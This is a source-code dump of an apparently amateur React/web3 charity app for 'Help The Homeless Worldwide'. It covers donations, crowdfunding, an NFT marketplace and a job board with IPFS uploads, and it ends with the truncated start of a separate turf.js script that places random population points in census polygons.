<p><strong>Description:</strong> {fundraiser.description}</p>
<p><strong>Funding Goal:</strong> {fundraiser.fundingGoal} HTHW</p>
<p><strong>Amount Raised:</strong> {fundraiser.amountRaised} HTHW</p>
<p><strong>Progress:</strong> {getProgress(fundraiser.amountRaised, fundraiser.fundingGoal)}%</p>
<p><strong>Deadline:</strong> {fundraiser.deadline}</p>
<p><strong>Status:</strong> {fundraiser.isOpen ? 'Open' : 'Closed'}</p>
{fundraiser.isOpen && (
<button onClick={() => contributeToCampaign(index)}>Contribute</button>
)}
</div>
))}
</div>
</div>
</div>
);
}
export default AllFundraisers;<file_sep>/src/index.js
import React from 'react';
import ReactDOM from 'react-dom/client';
import './index.css';
import App from './App';
import reportWebVitals from './reportWebVitals';
import {
BrowserRouter,
Routes,
Route,
} from "react-router-dom";
import SellNFT from './components/SellNFT';
import Marketplace from './components/Marketplace';
import NFTPage from './components/NFTpage';
import AboutPage from './components/AboutPage';
import HomePage from './components/HomePage';
import FAQPage from './components/FAQPage';
import DonatePage from './components/DonatePage';
import CreateCampaign from './components/CreateCampaign';
import AllFundraisers from './components/AllFundraisers';
import Profile from './components/Profile';
import Applicant from './components/Applicant';
import Employer from './components/Employer';
import JobList from './components/JobList';
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
<React.StrictMode>
<BrowserRouter>
<Routes>
<Route path="/" element={<HomePage />} />
<Route path="/donate" element={<DonatePage />} />
<Route path="/about" element={<AboutPage />} />
<Route path="/faq" element={<FAQPage />} />
<Route path="/create-fundraiser" element={<CreateCampaign />} />
<Route path="/fundraiser-stats" element={<AllFundraisers />} />
<Route path="/market" element={<Marketplace />}/>
<Route path="/sellNFT" element={<SellNFT />}/>
<Route path="/nftPage/:tokenId" element={<NFTPage />}/>
<Route path="/profile" element={<Profile />}/>
<Route path="/apply" element={<Applicant />}/>
<Route path="/employer" element={<Employer />}/>
<Route path="/joblist" element={<JobList />}/>
</Routes>
</BrowserRouter>
</React.StrictMode>
);
// If you want to start measuring performance in your app, pass a function
// to log results (for example: reportWebVitals(console.log))
// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
reportWebVitals();
<file_sep>/src/components/DonatePage.js
import React, { useState, useEffect } from 'react';
import { Link } from 'react-router-dom';
import Web3 from 'web3';
import DonationContract from '../abi/DonationContract.json';
import Navbar from "./Navbar";
const DonationPage = () => {
const [totalDonations, setTotalDonations] = useState(0);
const [donationAmount, setDonationAmount] = useState('');
const [status, setStatus] = useState('');
useEffect(() => {
const fetchTotalDonations = async () => {
const web3 = new Web3(Web3.givenProvider);
const contractAddr = '0x7afe38e0a012EAEbAfA2d56c49830E137742144A'; // the new contract address
const donationContract = new web3.eth.Contract(DonationContract.abi, contractAddr);
const totalDonationsWei = await donationContract.methods.totalDonations().call();
const totalDonationsEth = web3.utils.fromWei(totalDonationsWei, 'ether');
setTotalDonations(totalDonationsEth);
};
fetchTotalDonations();
}, []);
const handleDonate = async () => {
const web3 = new Web3(Web3.givenProvider);
const contractAddr = '0x7afe38e0a012EAEbAfA2d56c49830E137742144A'; // the new contract address
const donationContract = new web3.eth.Contract(DonationContract.abi, contractAddr);
const accounts = await web3.eth.getAccounts();
const donationWei = web3.utils.toWei(donationAmount, 'ether');
try {
const tx = await donationContract.methods.donate().send({
from: accounts[0],
value: donationWei,
});
setStatus(`Donation successful. Transaction hash: ${tx.transactionHash}`);
setDonationAmount('');
const totalDonationsWei = await donationContract.methods.totalDonations().call();
const totalDonationsEth = web3.utils.fromWei(totalDonationsWei, 'ether');
setTotalDonations(totalDonationsEth);
} catch (error) {
setStatus(`Donation failed. ${error}`);
}
};
return (
<div>
<Navbar></Navbar>
<br/>
<div>
<h1>HTHW Donations </h1>
<div className="cover-text align-middle">
<br/>
<div className="center">
<img src="https://hth.world/wp-content/themes/HTHworldwide/images/hthlogo_md.png" alt="HTH Logo"/>
</div>
<br/>
<br/>
Help The Homeless Worldwide offers TWO ways to Donate!
<br/>
Choose between PayPal or HTHW Token
<br/>
100% of your donations go towards
<br/>
helping the homeless worldwide
<br/>
<br/>
<p>Donate with PayPal</p>
<a href="https://www.paypal.com/paypalme/hthworldwide" target="_blank" rel="noopener noreferrer" className="button">DONATE TODAY</a>
</div>
<br/>
<br/>
<p>Donate with HTHW</p>
<div className="p3">Donations to Date: {totalDonations} HTHW</div>
<div className="card">
<h2>Help The Homeless</h2>
<h3>Donate Today!!</h3>
<div className="containerDonate">
<label htmlFor="donation-amount">Donation Amount</label>
<br/>
<input
id="donation-amount"
type="number"
step="0.01"
value={donationAmount}
onChange={(e) => setDonationAmount(e.target.value)}
/>
<button onClick={handleDonate}>Donate</button>
</div>
<p>{status}</p>
</div>
</div>
</div>
);
};
export default DonationPage;<file_sep>/scripts/testing.js
const Marketplace = require("../src/Marketplace.json");
async function getNFts () {
const MyContract = await ethers.getContractFactory("NFTMarketplace");
const contract = await MyContract.attach(
Marketplace.address
);
// Now you can call functions of the contract
var vals = await contract.getListPrice();
console.log(vals);
/*const provider = new ethers.providers.Web3Provider(window.ethereum)
const signer = provider.getSigner();
const addrsign = await signer.getAddress();
let contract = new ethers.Contract(Marketplace.address, Marketplace.abi, signer)
let transaction = await contract.getAllNFTs()
console.log(transaction);*/
}
getNFts();
<file_sep>/src/components/CreateCampaign.js
import React, { useState } from 'react';
import { Link } from 'react-router-dom';
import CrowdFunding from '../abi/CrowdFunding.json';
import { ethers } from 'ethers';
import Navbar from "./Navbar";
function CreateCampaign(props) {
const [fundingGoal, setFundingGoal] = useState('');
const [deadline, setDeadline] = useState('');
const [title, setTitle] = useState('');
const [description, setDescription] = useState('');
const createFundraiser = async () => {
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner();
const contract = new ethers.Contract('0x1cdd7Ac8B83843e35C417Ef3C293be3051Ae1bca', CrowdFunding.abi, signer);
const tx = await contract.createFundraiser(
ethers.utils.parseEther(fundingGoal),
Math.floor(Date.parse(deadline) / 1000),
title,
description
);
await tx.wait();
setFundingGoal('');
setDeadline('');
setTitle('');
setDescription('');
};
return (
<div>
<Navbar></Navbar>
<br/>
<div>
<h1>Create Fundraiser</h1>
</div>
<div className="card">
<form onSubmit={e => { e.preventDefault(); createFundraiser(); }}>
<div>
<label>Title:</label>
<input type="text" value={title} onChange={e => setTitle(e.target.value)} />
</div>
<div>
<label>Description:</label>
<input type="text" value={description} onChange={e => setDescription(e.target.value)} />
</div>
<div>
<label>Funding Goal:</label>
<input type="text" value={fundingGoal} onChange={e => setFundingGoal(e.target.value)} />
</div>
<div>
<label>Deadline:</label>
<input type="datetime-local" value={deadline} onChange={e => setDeadline(e.target.value)} />
</div>
<button type="submit">Create Fundraiser</button>
</form>
</div>
</div>
);
}
export default CreateCampaign;<file_sep>/src/components/HomePage.js
import React from 'react';
import { Link } from "react-router-dom";
import { FaBars } from "react-icons/fa";
import Navbar from "./Navbar";
function HomePage() {
return (
<div>
<Navbar></Navbar>
<br/>
<div>
<h1>Welcome to HTH World</h1>
</div>
<div className="container">
<div className="cover-text align-middle">
<br/>
<br/>
Welcome to the HTHW Testnet Application. Not all functions are working! This is only the begining! Please leave all
<br/>
of your comments, suggestions, ideas & feedback
<br/>
of
<strong> HTHW in the Official HTHW Discord</strong>
<br/>
<br/>
<a href="https://discord.gg/help-the-homeless-coin-459597014246883358" target="_blank" rel="noopener noreferrer" className="button">HTHW Discord</a>
</div>
<br/>
</div>
<div className="container">
<div className="cover-text align-middle">
<br/>
<div className="center">
<img src="https://hth.world/wp-content/themes/HTHworldwide/images/hthlogo_md.png" alt="HTH Logo"/>
</div>
<br/>
Help The Homeless Worldwide fully believes in their journey and knows with the help
<br/>
of blockchain, they can achieve their goal
<br/>
of
<strong> helping the homeless worldwide.</strong>
<br/>
<br/>
<a href="https://www.paypal.com/paypalme/hthworldwide" target="_blank" rel="noopener noreferrer" className="button">DONATE TODAY</a>
</div>
<br/>
</div>
<div className="card-container">
<div className="card">
<h5 className="card-title">Help The Homeless Worldwide A NJ Nonprofit Corporation</h5>
<p className="card-text">Help The Homeless Worldwide is a 501(c)3 public charity based in Little Egg Harbor, New Jersey. We strive to incorporate blockchain technology in the aid to help the homeless population around the globe in a decentralized, trustless way.</p>
</div>
<div className="card">
<h5 className="card-title">Helping those in need is a way of life</h5>
<p className="card-text">It is a part of human nature to look out for one another, but in some cases, help is not readily available and sometimes there is not enough help.</p>
</div>
<div className="card">
<h5 className="card-title">Be apart of a leading new way</h5>
<p className="card-text">Help The Homeless Worldwide wants to change that by helping those who are in need which will also include other organizations that are under funded across the globe. Help The Homeless Worldwide fully believes in their journey and knows with the help of blockchain, they can achieve their goal of helping the homeless worldwide.</p>
</div>
<div className="card">
<h5 className="card-title">Our journey is not our own</h5>
<p className="card-text">Without the help from others, the homeless population will continue to grow leaving many people with nothing, including children regardless of their story. This is not how life is supposed to be, we are here together, as one and we should help one another the same as we help ourselves. Help The Homeless Worldwide asks that you come be apart of their amazing journey.</p>
</div>
<div className="card">
<h5 className="card-title">Giving back is how we all start</h5>
<p className="card-text">Help The Homeless Worldwide wants to give back to our community, and help those in need to thrive in life regardless of their story, and give everyone a fair chance in life. With this core belief, Help The Homeless Worldwide will free more resources to make a larger impact on solving the homeless problem.</p>
</div>
</div>
</div>
);
}
export default HomePage;
<file_sep>/src/components/FAQPage.js
import React, { useState } from 'react';
import Navbar from './Navbar';
function FaqPage() {
const [activeIndex, setActiveIndex] = useState(null);
const toggleAccordion = (index) => {
if (index === activeIndex) {
setActiveIndex(null);
} else {
setActiveIndex(index);
}
};
const faqItems = [
{
question: 'What is HTH World ?',
answer: 'HTH World is a registered nonprofit helping those who are less fortunate',
},
{
question: 'What is HTHW ?',
answer: 'HTHW is our native token, commonly known as cryptocurrency, HTHW is like Ethereuem',
},
{
question: 'Do you actually help those who are less fortunate ?',
answer: 'YES!! HTH is committed to helping those who need assistance, HTH has already held several events and donated to those in need',
},
];
return (
<>
<Navbar />
<br />
<h1>Frequently Asked Questions</h1>
<div className="container my-5">
<div className="accordion" id="faqAccordion">
{faqItems.map((item, index) => (
<div className="accordion-item" key={index}>
<h2 className="accordion-header" id={`faqHeading${index}`}>
<button
className={`accordion-button ${index === activeIndex ? 'active' : ''}`}
type="button"
onClick={() => toggleAccordion(index)}
>
{item.question}
</button>
</h2>
{index === activeIndex && (
<div className="accordion-body">{item.answer}</div>
)}
</div>
))}
</div>
</div>
</>
);
}
export default FaqPage;<file_sep>/src/components/Employer.js
import React, { useState, useEffect } from "react";
import Jobs from "../abi/Jobs.json";
import Web3 from 'web3';
import Navbar from "./Navbar";
function Employer() {
const [jobTitle, setJobTitle] = useState("");
const [jobDescription, setJobDescription] = useState("");
const [jobLocation, setJobLocation] = useState("");
const [jobType, setJobType] = useState("Online");
const [jobSalary, setJobSalary] = useState(0);
const [accounts, setAccounts] = useState([]);
const [provider, setProvider] = useState(null);
const [signer, setSigner] = useState(null);
const [jobsContract, setJobsContract] = useState(null);
const [applicants, setApplicants] = useState([]);
// Connect to MetaMask and initialize Web3 provider
const connectMetaMask = async () => {
try {
if (window.ethereum) {
await window.ethereum.request({ method: "eth_requestAccounts" });
const provider = new Web3(window.ethereum);
const accounts = await provider.eth.getAccounts();
const jobsContract = new provider.eth.Contract(
Jobs.abi,
"0xF1a2a7854350E96BBbec527b02BaCd41c365b46e"
);
setProvider(provider);
setAccounts(accounts);
setJobsContract(jobsContract);
} else {
console.warn("MetaMask not detected. Please install MetaMask");
}
} catch (error) {
console.warn(error);
}
};
useEffect(() => {
connectMetaMask();
getJobsByEmployer(); // fetch jobs when component is mounted
}, []);
// Create a new job posting
const createJob = async (e) => {
e.preventDefault();
try {
if (!provider || !accounts || !jobsContract) {
console.warn("Please connect to MetaMask");
return;
}
const jobTypeNum = parseInt(jobType, 10); // Convert job type to number
const transaction = await jobsContract.methods.addJob(
jobTitle,
jobDescription,
jobLocation,
jobTypeNum, // Pass job type as a number
Web3.utils.toWei(jobSalary.toString(), "ether")
).send({ from: accounts[0] });
console.log("Job created successfully");
getJobsByEmployer(); // fetch updated jobs list
} catch (error) {
console.warn(error);
}
};
const init = async () => {
try {
if (!provider || !accounts || !jobsContract) {
console.warn("Please connect to MetaMask");
return;
}
await jobsContract.methods.getJobsByEmployer(accounts[0]).call();
} catch (error) {
console.warn(error);
}
};
const getJobsByEmployer = async (employerAddress) => {
await init(); // add this line
if (!jobsContract) {
console.warn("Jobs contract is not initialized yet");
return;
}
const jobs = await jobsContract.methods.getJobsByEmployer(employerAddress).call();
const formattedJobs = await Promise.all(jobs.map(async (job) => {
const title = await jobsContract.methods.title(job).call();
const description = await jobsContract.methods.description(job).call();
const location = await jobsContract.methods.location(job).call();
const jobType = await jobsContract.methods.jobType(job).call();
const salary = await jobsContract.methods.salary(job).call();
const isOpen = await jobsContract.methods.isOpen(job).call();
const applicants = await jobsContract.methods.applicants(job).call();
const acceptedApplicant = await jobsContract.methods.acceptedApplicant(job).call();
return {
title,
description,
location,
jobType,
salary,
isOpen,
applicants,
acceptedApplicant,
};
}));
return formattedJobs;
}
// Get a list of job applicants
const getApplicantProfile = async (jobId, applicantAddress) => {
try {
const applicants = await jobsContract.methods.getApplicants(jobId).call();
const applicant = applicants.find((applicant) => applicant === applicantAddress);
setApplicants([applicant]);
} catch (error) {
console.warn(error);
}
};
// Accept a job applicant
const acceptApplicant = async (applicant) => {
try {
const transaction = await jobsContract.methods.acceptApplicant(applicant).send({ from: accounts[0] });
console.log("Applicant accepted");
await getApplicantProfile(); // Refresh the list of applicants
} catch (error) {
console.warn(error);
}
};
// Reject a job applicant
const rejectApplicant = async (applicant) => {
try {
const transaction = await jobsContract.methods.rejectApplicant(applicant).send({ from: accounts[0] });
console.log("Applicant rejected");
await getApplicantProfile(); // Refresh the list of applicants
} catch (error) {
console.warn(error);
}
};
return (
<div>
<Navbar></Navbar>
<br />
<div className="container">
<div className="cover-text align-middle">
<br/>
<br/>
Welcome to the HTHW Testnet Application. Not all functions are working! This displays incorrect amount of ETH, Displays in gwei(wei)! This is only the begining! Please leave all
<br/>
of your comments, suggestions, ideas & feedback
<br/>
of
<strong> HTHW in the Official HTHW Discord</strong>
<br/>
<br/>
<a href="https://discord.gg/help-the-homeless-coin-459597014246883358" target="_blank" rel="noopener noreferrer" className="button">HTHW Discord</a>
</div>
<br/>
</div>
<h1>Employers</h1>
<div className="card">
<form onSubmit={createJob}>
<label>
Job Title:
<input
type="text"
value={jobTitle}
onChange={(e) => setJobTitle(e.target.value)}
/>
</label>
<br />
<label>
Job Description:
<textarea
value={jobDescription}
onChange={(e) => setJobDescription(e.target.value)}
/>
</label>
<br />
<label>
Job Location:
<input
type="text"
value={jobLocation}
onChange={(e) => setJobLocation(e.target.value)}
/>
</label>
<br />
<label>
Job Type 0 for online 1 for in-person:
<input type="number" value={jobType} onChange={(e) => setJobType(e.target.value)} min="0" max="1" />
</label>
<br />
<label>
Job Salary (in HTHW):
<input
type="number"
value={jobSalary}
onChange={(e) => setJobSalary(e.target.value)}
/>
</label>
<br />
<button type="submit" disabled={!jobsContract}>Create Job</button>
</form>
<hr />
<h2>Applicants</h2>
<ul>
{applicants.map((applicant) => (
<li key={applicant.id}>
{applicant.name}{" "}
<button onClick={() => acceptApplicant(applicant)}>Accept</button>{" "}
<button onClick={() => rejectApplicant(applicant)}>Reject</button>
</li>
))}
</ul>
</div>
</div>
);
}
export default Employer;<file_sep>/src/components/NFTTile.js
import axie from "../tile.jpeg";
import {
BrowserRouter as Router,
Link,
} from "react-router-dom";
function NFTTile (data) {
const newTo = {
pathname:"/nftPage/"+data.data.tokenId
}
return (
<Link to={newTo}>
<div className="border-2 ml-12 mt-5 mb-12 flex flex-col items-center rounded-lg w-48 md:w-72 shadow-2xl">
<img src={data.data.image} alt="" className="w-72 h-80 rounded-lg object-cover" />
<div className= "text-white w-full p-2 bg-gradient-to-t from-[#454545] to-transparent rounded-lg pt-5 -mt-20">
<strong className="text-xl">{data.data.name}</strong>
<p className="display-inline">
{data.data.description}
</p>
</div>
</div>
</Link>
)
}
export default NFTTile;
<file_sep>/src/components/NFTpage.js
import Navbar from "./Navbar";
import axie from "../tile.jpeg";
import { useLocation, useParams } from 'react-router-dom';
import MarketplaceJSON from "../Marketplace.json";
import axios from "axios";
import { useState } from "react";
export default function NFTPage (props) {
const [data, updateData] = useState({});
const [dataFetched, updateDataFetched] = useState(false);
const [message, updateMessage] = useState("");
const [currAddress, updateCurrAddress] = useState("0x");
async function getNFTData(tokenId) {
const ethers = require("ethers");
//After adding your Hardhat network to your metamask, this code will get providers and signers
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner();
const addr = await signer.getAddress();
//Pull the deployed contract instance
let contract = new ethers.Contract(MarketplaceJSON.address, MarketplaceJSON.abi, signer)
//create an NFT Token
const tokenURI = await contract.tokenURI(tokenId);
const listedToken = await contract.getListedTokenForId(tokenId);
let meta = await axios.get(tokenURI);
meta = meta.data;
console.log(listedToken);
let item = {
price: meta.price,
tokenId: tokenId,
seller: listedToken.seller,
owner: listedToken.owner,
image: meta.image,
name: meta.name,
description: meta.description,
}
console.log(item);
updateData(item);
updateDataFetched(true);
console.log("address", addr)
updateCurrAddress(addr);
}
async function buyNFT(tokenId) {
try {
const ethers = require("ethers");
//After adding your Hardhat network to your metamask, this code will get providers and signers
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner();
//Pull the deployed contract instance
let contract = new ethers.Contract(MarketplaceJSON.address, MarketplaceJSON.abi, signer);
const salePrice = ethers.utils.parseUnits(data.price, 'ether')
updateMessage("Buying the NFT... Please Wait (Upto 5 mins)")
//run the executeSale function
let transaction = await contract.executeSale(tokenId, {value:salePrice});
await transaction.wait();
alert('You successfully bought the NFT!');
updateMessage("");
}
catch(e) {
alert("Upload Error"+e)
}
}
const params = useParams();
const tokenId = params.tokenId;
if(!dataFetched)
getNFTData(tokenId);
return(
<div style={{"minHeight":"100vh"}}>
<Navbar></Navbar>
<div className="flex ml-20 mt-20">
<img src={data.image} alt="" className="w-2/5" />
<div className="sell text-xl ml-20 space-y-8 shadow-2xl rounded-lg border-2 p-5">
<div>
Name: {data.name}
</div>
<div>
Description: {data.description}
</div>
<div>
Price: <span className="">{data.price + " HTHW"}</span>
</div>
<div>
Owner: <span className="text-sm">{data.owner}</span>
</div>
<div>
Seller: <span className="text-sm">{data.seller}</span>
</div>
<div>
{ currAddress == data.owner || currAddress == data.seller ?
<button className="button" onClick={() => buyNFT(tokenId)}>Buy this NFT</button>
: <div className="text-emerald-700">You are the owner of this NFT</div>
}
<div className="text-green text-center mt-3">{message}</div>
</div>
</div>
</div>
</div>
)
}<file_sep>/src/components/JobList.js
import React, { useState, useEffect } from 'react';
import Jobs from '../abi/Jobs.json';
import Web3 from 'web3';
import Navbar from "./Navbar";
const JobsList = () => {
const [jobs, setJobs] = useState([]);
const [selectedJob, setSelectedJob] = useState(null);
useEffect(() => {
const loadJobs = async () => {
if (window.ethereum) {
const web3 = new Web3(window.ethereum);
try {
await window.ethereum.enable();
const accounts = await web3.eth.getAccounts();
const contract = new web3.eth.Contract(Jobs.abi, '0xF<KEY>');
const employerJobs = await contract.methods.getJobsByEmployer(accounts[0]).call();
setJobs(employerJobs);
} catch (error) {
console.error(error);
}
}
}
loadJobs();
}, []);
const applyToJob = async () => {
if (window.ethereum) {
const web3 = new Web3(window.ethereum);
try {
await window.ethereum.enable();
const accounts = await web3.eth.getAccounts();
const contract = new web3.eth.Contract(Jobs.abi, '0xF<KEY>');
await contract.methods.applyToJob(selectedJob.employer, selectedJob.index).send({ from: accounts[0] });
setSelectedJob(null);
alert('Applied to job successfully!');
} catch (error) {
console.error(error);
}
}
}
return (
<div>
<Navbar></Navbar>
<br />
<div className="container">
<div className="cover-text align-middle">
<br/>
<br/>
Welcome to the HTHW Testnet Application. Not all functions are working! This is only the begining! Please leave all
<br/>
of your comments, suggestions, ideas & feedback
<br/>
of
<strong> HTHW in the Official HTHW Discord</strong>
<br/>
<br/>
<a href="https://discord.gg/help-the-homeless-coin-459597014246883358" target="_blank" rel="noopener noreferrer" className="button">HTHW Discord</a>
</div>
<br/>
</div>
<h1>Jobs List</h1>
<div className="card">
<ul>
{jobs.map((job, index) => (
<li key={index}>
<h2>{job.title}</h2>
<p>{job.description}</p>
<p>Location: {job.location}</p>
<p>Salary: {job.salary} HTHW</p>
<button onClick={() => setSelectedJob({ employer: job.employer, index: index })}>Apply to Job</button>
<br />
</li>
))}
</ul>
<br />
{selectedJob &&
<div>
<p>Are you sure you want to apply to {selectedJob.title}?</p>
<button onClick={() => applyToJob()}>Yes</button>
<br />
<button onClick={() => setSelectedJob(null)}>No</button>
</div>
}
</div>
</div>
);
}
export default JobsList;<file_sep>/src/components/SellNFT.js
import Navbar from "./Navbar";
import { useState } from "react";
import { uploadFileToIPFS, uploadJSONToIPFS } from "../pinata";
import Marketplace from '../Marketplace.json';
import { useLocation } from "react-router";
export default function SellNFT () {
const [formParams, updateFormParams] = useState({ name: '', description: '', price: ''});
const [fileURL, setFileURL] = useState(null);
const ethers = require("ethers");
const [message, updateMessage] = useState('');
const location = useLocation();
//This function uploads the NFT image to IPFS
async function OnChangeFile(e) {
var file = e.target.files[0];
//check for file extension
try {
//upload the file to IPFS
const response = await uploadFileToIPFS(file);
if(response.success === true) {
console.log("Uploaded image to Pinata: ", response.pinataURL)
setFileURL(response.pinataURL);
}
}
catch(e) {
console.log("Error during file upload", e);
}
}
//This function uploads the metadata to IPFS
async function uploadMetadataToIPFS() {
const {name, description, price} = formParams;
//Make sure that none of the fields are empty
if( !name || !description || !price || !fileURL)
return;
const nftJSON = {
name, description, price, image: fileURL
}
try {
//upload the metadata JSON to IPFS
const response = await uploadJSONToIPFS(nftJSON);
if(response.success === true){
console.log("Uploaded JSON to Pinata: ", response)
return response.pinataURL;
}
}
catch(e) {
console.log("error uploading JSON metadata:", e)
}
}
async function listNFT(e) {
e.preventDefault();
//Upload data to IPFS
try {
const metadataURL = await uploadMetadataToIPFS();
//After adding your Hardhat network to your metamask, this code will get providers and signers
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner();
updateMessage("Please wait.. uploading (upto 5 mins)")
//Pull the deployed contract instance
let contract = new ethers.Contract(Marketplace.address, Marketplace.abi, signer)
//massage the params to be sent to the create NFT request
const price = ethers.utils.parseUnits(formParams.price, 'ether')
let listingPrice = await contract.getListPrice()
listingPrice = listingPrice.toString()
//actually create the NFT
let transaction = await contract.createToken(metadataURL, price, { value: listingPrice })
await transaction.wait()
alert("Successfully listed your NFT!");
updateMessage("");
updateFormParams({ name: '', description: '', price: ''});
window.location.replace("/")
}
catch(e) {
alert( "Upload error"+e )
}
}
console.log("Working", process.env);
return (
<div className="">
<Navbar></Navbar>
<br/>
<div>
<h1>Upload Your NFT</h1>
</div>
<div className="flex flex-col place-items-center mt-10" id="nftForm">
<form className="bg-white shadow-md rounded px-8 pt-4 pb-8 mb-4">
<h3 className="text-center font-bold #34bcaa mb-8">Upload your NFT to the marketplace</h3>
<div className="mb-4">
<label className="block #34bcaa text-sm font-bold mb-2" htmlFor="name">NFT Name</label>
<input className="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="name" type="text" placeholder="Devilking#6105" onChange={e => updateFormParams({...formParams, name: e.target.value})} value={formParams.name}></input>
</div>
<div className="mb-6">
<label className="block #34bcaa text-sm font-bold mb-2" htmlFor="description">NFT Description</label>
<textarea className="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" cols="40" rows="5" id="description" type="text" placeholder="Your Short Description" value={formParams.description} onChange={e => updateFormParams({...formParams, description: e.target.value})}></textarea>
</div>
<div className="mb-6">
<label className="block #34bcaa text-sm font-bold mb-2" htmlFor="price">Price (in HTHW)</label>
<input className="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" type="number" placeholder="Min 0.01 HTHW" step="0.01" value={formParams.price} onChange={e => updateFormParams({...formParams, price: e.target.value})}></input>
</div>
<div>
<label className="block #34bcaa text-sm font-bold mb-2" htmlFor="image">Upload Image</label>
<input type={"file"} onChange={OnChangeFile}></input>
</div>
<br></br>
<div className="text-green text-center">{message}</div>
<button onClick={listNFT} className="button">
List NFT
</button>
</form>
</div>
</div>
)
}<file_sep>/README.md
# Basic NFT Marketplace end to end
This code is for the Tutorial [Build your own NFT Marketplace from Scratch](https://docs.alchemy.com/alchemy/) built by [alchemy.com](https://alchemy.com)
To set up the repository and run the marketplace locally, run the below
```bash
git clone https://github.com/OMGWINNING/NFT-Marketplace-Tutorial
cd NFT-Marketplace-Tutorial
npm install
npm start
```<file_sep>/src/components/AboutPage.js
import React from 'react';
import { Link } from 'react-router-dom';
import Navbar from "./Navbar";
function AboutPage() {
return (
<div>
<Navbar></Navbar>
<div>
<br />
<h1>About HTH World</h1>
</div>
<div className="container my-5">
<h1>About Us</h1>
<p>Help The Homeless is a registered Nonprofit Corporation based in Little Egg Harbor, New Jersey, USA</p>
</div>
</div>
);
}
export default AboutPage;<file_sep>/src/App.js
import './App.css';
import Navbar from './components/Navbar.js';
import Marketplace from './components/Marketplace';
import SellNFT from './components/SellNFT';
import NFTPage from './components/NFTpage';
import AboutPage from './components/AboutPage';
import HomePage from './components/HomePage';
import FAQPage from './components/FAQPage';
import DonatePage from './components/DonatePage';
import CreateCampaign from './components/CreateCampaign';
import AllFundraisers from './components/AllFundraisers';
import Profile from './components/Profile';
import Applicant from './components/Applicant';
import Employer from './components/Employer';
import JobList from './components/JobList';
import ReactDOM from "react-dom/client";
import {
BrowserRouter,
Routes,
Route,
} from "react-router-dom";
function App() {
return (
<div className="container">
<Routes>
<Route path="/" element={<HomePage />} />
<Route path="/donate" element={<DonatePage />} />
<Route path="/about" element={<AboutPage />} />
<Route path="/faq" element={<FAQPage />} />
<Route path="/create-fundraiser" element={<CreateCampaign />} />
<Route path="/fundraiser-stats" element={<AllFundraisers />} />
<Route path="/market" element={<Marketplace />}/>
<Route path="/nftPage" element={<NFTPage />}/>
<Route path="/profile" element={<Profile />}/>
<Route path="/apply" element={<Applicant />}/>
<Route path="/employer" element={<Employer />}/>
<Route path="/job-list" element={<JobList />}/>
<Route path="/sellNFT" element={<SellNFT />}/>
</Routes>
</div>
);
}
export default App;
<file_sep>/src/pinata.js
const key = process.env.REACT_APP_PINATA_KEY;
const secret = process.env.REACT_APP_PINATA_SECRET;
const axios = require('axios');
const FormData = require('form-data');
export const uploadJSONToIPFS = async(JSONBody) => {
const url = `https://api.pinata.cloud/pinning/pinJSONToIPFS`;
//making axios POST request to Pinata ⬇️
return axios
.post(url, JSONBody, {
headers: {
pinata_api_key: key,
pinata_secret_api_key: secret,
'Access-Control-Allow-Origin': '*'
}
})
.then(function (response) {
return {
success: true,
pinataURL: "https://gateway.pinata.cloud/ipfs/" + response.data.IpfsHash
};
})
.catch(function (error) {
console.log(error)
return {
success: false,
message: error.message,
}
});
};
export const uploadFileToIPFS = async(file) => {
const url = `https://api.pinata.cloud/pinning/pinFileToIPFS`;
//making axios POST request to Pinata ⬇️
let data = new FormData();
data.append('file', file);
const metadata = JSON.stringify({
name: 'testname',
keyvalues: {
exampleKey: 'exampleValue'
}
});
data.append('pinataMetadata', metadata);
//pinataOptions are optional
const pinataOptions = JSON.stringify({
cidVersion: 0,
customPinPolicy: {
regions: [
{
id: 'FRA1',
desiredReplicationCount: 1
},
{
id: 'NYC1',
desiredReplicationCount: 2
}
]
}
});
data.append('pinataOptions', pinataOptions);
return axios
.post(url, data, {
maxBodyLength: 'Infinity',
headers: {
'Content-Type': `multipart/form-data; boundary=${data._boundary}`,
pinata_api_key: key,
pinata_secret_api_key: secret,
'Access-Control-Allow-Origin': '*'
}
})
.then(function (response) {
console.log("image uploaded", response.data.IpfsHash)
return {
success: true,
pinataURL: "https://gateway.pinata.cloud/ipfs/" + response.data.IpfsHash
};
})
.catch(function (error) {
console.log(error)
return {
success: false,
message: error.message,
}
});
};
|
1737b439f2f95a13f669a2341fe850cb15792f8c
|
[
"JavaScript",
"Markdown"
] | 16 |
JavaScript
|
MichaelHDesigns/HTHWorld
|
08fec7ac459c5498f7b815f0105e65f059ff1b3f
|
805e7a539e3c98b2cb524afb18e7ad139dc51a74
|
refs/heads/master
|
<file_sep>var bg_json = require('./final.json');
var turf = require('@turf/turf');
var turf_inside = require('turf-inside');
var fs = require('fs');
var point = {}
var inside = ''
var updated_geojson = {
type: 'FeatureCollection',
features : []
}
var wstream = fs.createWriteStream('ny_whole.geojson');
module.exports = randomPointInPoly = function(bg_json){
bg_json.forEach(function(block_feature,index) {
if(index <= (bg_json.length-2)) {
if (bg_json[index].id === bg_json[index + 1].id) {
bg_json[index].properties['POPULATION'] = bg_json[index + 1].B01003
}
delete bg_json[index + 1]
}
return bg_json
})
bg_json.forEach(function(feature){
if (feature.geometry.type === 'MultiPolygon') {
console.log('if its Multipolygon')
for (var i = 0; i < feature.geometry.coordinates.length; i++) {
var polygon = {
'type': 'Polygon',
'coordinates': feature.geometry.coordinates[i],
'properties': feature.properties
}
polygon.coordinates.forEach(function(coordinate,index){
var line = turf.lineString(coordinate);
var bbox = turf.bbox(line);
var poly = turf.polygon([coordinate], {name: 'Polygon'})
var count = 0
while (count < feature.properties.POPULATION) {
var points = turf.randomPoint(feature.properties.POPULATION, {bbox: bbox})
Object.values(points.features).forEach(function (each_point, index) {
point = each_point
each_point.properties['GEOID'] = feature.properties.GEOID
inside = turf_inside(point, poly)
if (inside) {
if (count < feature.properties.POPULATION) {
each_point.properties['i'] = count + 1
wstream.write(JSON.stringify(each_point))
